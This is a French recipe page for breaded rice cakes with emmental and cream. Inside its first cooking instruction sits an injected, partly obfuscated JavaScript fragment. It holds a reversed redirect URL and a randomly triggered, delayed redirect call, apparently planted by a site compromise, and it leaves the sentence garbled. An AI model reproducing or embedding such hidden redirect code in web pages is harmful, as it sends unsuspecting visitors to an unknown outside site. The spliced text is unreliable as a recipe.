Riz crémeux à l’emmental
2021-03-13- Niveau : Difficile
Versez le bouillon de volaille dans une casserole, portez à ébullition, incorporez le riz tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant et laissez cuire pendant 18 à 20 minutes.
Vérifiez la cuisson du riz, l’égoutter.
Ingrédients
Versez le bouillon de volaille dans une casserole, portez à ébullition, incorporez le riz tout en remuant et laissez cuire pendant 18 à 20 minutes. Vérifiez la cuisson du riz, l'égoutter. Dans une petite casserole faites chauffer la crème fleurette en ajoutant l'emmenthal, le riz, salez, poivrez. Répartissez cette préparation environ 2 cm d'épaisseur sur une plaque. Placez au réfrigérateur pendant 20 minutes. Dans une assiette creuse, battez les œufs en omelette, salez, poivrez. Dans une autre assiette déposez la farine de blé. Et la troisième assiette la chapelure. Sortez le riz du réfrigérateur, découpez des palets que vous enrobez d'œufs, puis dans la farine et en dernier enroulez dans la chapelure. Faites les cuire dans une poêle avec 2 cuillères à soupe d'huile d'arachide sur feu vif. Retournez-les souvent jusqu'à obtenir une couleur dorée. Déposez-les sur du papier absorbant et dégustez avec de la viande, du poulet etc. Accompagner d'une salade verte assaisonnée.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
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